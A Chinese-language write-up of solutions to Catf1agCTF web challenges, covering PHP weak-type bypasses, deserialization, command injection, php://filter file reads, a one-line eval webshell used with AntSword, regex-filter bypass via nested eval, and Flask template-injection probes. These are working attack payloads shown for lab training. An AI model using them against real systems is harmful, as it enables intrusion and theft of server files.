Catf1agCTF-Web通关合集

发布于:2024-03-04 ⋅ 阅读:(97) ⋅ 点赞:(0)

本文相关的ctf平台链接:Catf1agCTF - 综合训练平台

WEB签到

查看源代码

flag倒叙了,可以使用下面这个

文本字符串倒序在线工具(ESJSON在线工具)

flag: 

catf1ag{welcome_to_catf1agctf_!!!_gogogo_!!!}

flag在哪呢? 

 

查看源代码

 

intval

源代码:

 <?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
include('flag.php');
show_source('./index.php');
$num = $_GET['num'];
$num2 = intval($num);
if(isset($num) && $num != '123'){
    if($num == 123){
        echo $flag;
    }else{
        echo 'flag{this_flag_is_False}';
    }
}else{
    echo '你输入点东西行不行...';
}

?> 

 这题get传参

因为字符串和数字比较,字符串会被转换成数字。

所以绕过123加个a即可

payload:

?num=123a

easy_unser_1

源代码:

<?php
//error_reporting(0);

show_source('./index.php');
class flag_in_there{
  public $name;
  public $age;

  public function __construct($name,$age){
    $this->name = $name;
    $this->age = $age;
  }
  public function get_flag(){
    echo "hello,i'm '$this->name',now '$this->age' years";
  }
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
$un = $_GET['str'];

if($ser == $un){
  include('flag.php');
  echo $flag;
}else{
  echo "你真棒~";
}
?> 

 这题是道比较基础反序列化,可能也说不上吧

解题思路就是传个跟flag反序列化后一样的字符串即可

这里可以直接把前面的复制下来

payload:

<?php
class flag_in_there{
  public $name;
  public $age;

  public function __construct($name,$age){
    $this->name = $name;
    $this->age = $age;
  }
  public function get_flag(){
    echo "hello,i'm '$this->name',now '$this->age' years";
  }
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag); 
echo $ser;
?>
?str=O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}

rce_me_1

题目提示了是rce

我们就直接命令执行吧

?cmd=ls

 找到文件位置

现在我们查看

?cmd=cat get_flag_in_there_!!!!!!!!!!!!!!!!!!!

json

源代码:

<?php
show_source('index.php');
include('flag.php');
$key = $_GET['key'];
$decode = json_decode($key);
if($decode->flag == $flag){
    echo $flag;
}else{
    echo "<h3>404 not found</h4>";
}

?> 

 首先我们介绍一下什莫是json:JSON概念很简单,JSON 是一种轻量级的数据格式,他基于 javascript 语法的子集,即数组和对象表示。由于使用的是 javascript 语法,因此JSON 定义可以包含在javascript 文件中,对其的访问无需通过基于 XML 的语言来额外解析。

输入一个数组进行json解码,如果解码后的key与flag值相同,会得到flag,主要思想还是弱类型进行绕过,我们不知道flag值是什莫,但是我们知道一件事就是它肯定是字符串,这样就可以了,上文讲过,两个等号时会转化成同一类型再进行比较,直接构造一个0就可以相等了。最终payload:

?key={"flag":0}

GET&POST

?flag=cat

 

flag=f1ag

robots

这里简单介绍一下robots.txt

robots.txt文件:

User-agent: *

Disallow: /admin/ 后台管理文件

Disallow: /require/ 程序文件

Disallow: /attachment/ 附件

Disallow: /images/ 图片

Disallow: /data/ 数据库文件

Disallow: /template/ 模板文件

Disallow: /css/ 样式表文件

Disallow: /lang/ 编码文件

Disallow: /script/ 脚本文件

robots.txt文件里还可以直接包括在sitemap文件的链接。就像这样:

Sitemap: http://www.***.com/sitemap.xml

robots.txt语法教程

用几个最常见的情况,直接举例说明

  1. 允许所有SE收录本站:robots.txt为空就可以,什么都不要写。

  2. 禁止所有SE收录网站的某些目录:

User-agent: *

Disallow: /目录名1/

Disallow: /目录名2/

Disallow: /目录名3/

  1. 禁止某个SE收录本站,例如禁止百度:

User-agent: Baiduspider

Disallow: /

  1. 禁止所有SE收录本站:

User-agent: *

Disallow: /

访问/f1ag_is_in_there!!!

会下载一个文件,打开即可获得flag

 

easy_include_1

我们看一下源代码 

这里告诉我们flag在/get_flag

payload:

?file=php://filter/read=convert.base64-encode/resource=/get_flag

 

将红框内的字符串base64解码即可得到flag

strcmp

源代码:

<?php
error_reporting(0);
include('flag.php');
show_source("index.php");
$str = $_GET['str'];
$init_str = "get_flag";
if($str!=$init_str){
    if(strcmp($init_str,$str)==0){
        echo $flag;
    }else{
        echo "no";
    }
}else{
    echo "nonono";
}

?>

 strcmp()函数在PHP官方手册中的描述是int strcmp ( string str1,string str2 ),需要给strcmp()传递2个string类型的参数。如果str1小于str2,返回-1,相等返回0,否则返回1。strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。

strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

payload:

?str[]=0

easy_upload_1

文件上传

直接一句话木马

<?php
@eval($_POST('1'));
?>

然后直接蚁剑连接即可

easy_include_2

一打开很抽象

 查看源代码

可惜想简单了,这不是flag

这里提示了file传参

因为是文件包含题

所以我们直接按套路走

?file=php://filter/read=convert.base64-encode/resource=flag.php

这里提示不用加php后缀

?file=php://filter/read=convert.base64-encode/resource=flag

接下来base64解码即可

注意:这里要将catf1ag改为flag才能提交成功

swp

这里提示了swp

linux下vi/vim异常关闭是会存留.swp文件

方法:提示vim异常关闭,访问url/.index.php.swp,得到flag。

访问.index.php.swp会获得一个文件,打开后即可拿到flag

被黑了...

查看源代码

访问webshe11.php

打开是个空白页,猜测是一句话木马

这里有个难点就是要猜hacker为传参

?hacker=system('ls');

接下来就是直接查看flag

?hacker=system('cat hacker_flag.php');

easy_rce_2

源代码:

 <?php 
error_reporting(0);
show_source('index.php');
$cmd = $_GET['cmd'];
$preg = preg_match('/system|exec|shell_exec|`|popen/',$cmd);
if(!$preg){
    eval($cmd);
}else{
    echo "非法字符";
}
?> 

这里我们使用拼接绕过

?cmd=eval($_GET[1]);&1=system('ls');

?cmd=eval($_GET[1]);&1=system('cat f1ag_in_there.php');

不等于0

数组绕过秒了

?num[]=0

easy_flask_1

题目有提示/?cmd=

我们先尝试一下

接下来我们猜测可能为ssti

?cmd={{2*2}}

既然知道是ssti

我们直接查询配置信息,看有没有什么发现

?cmd={{config}}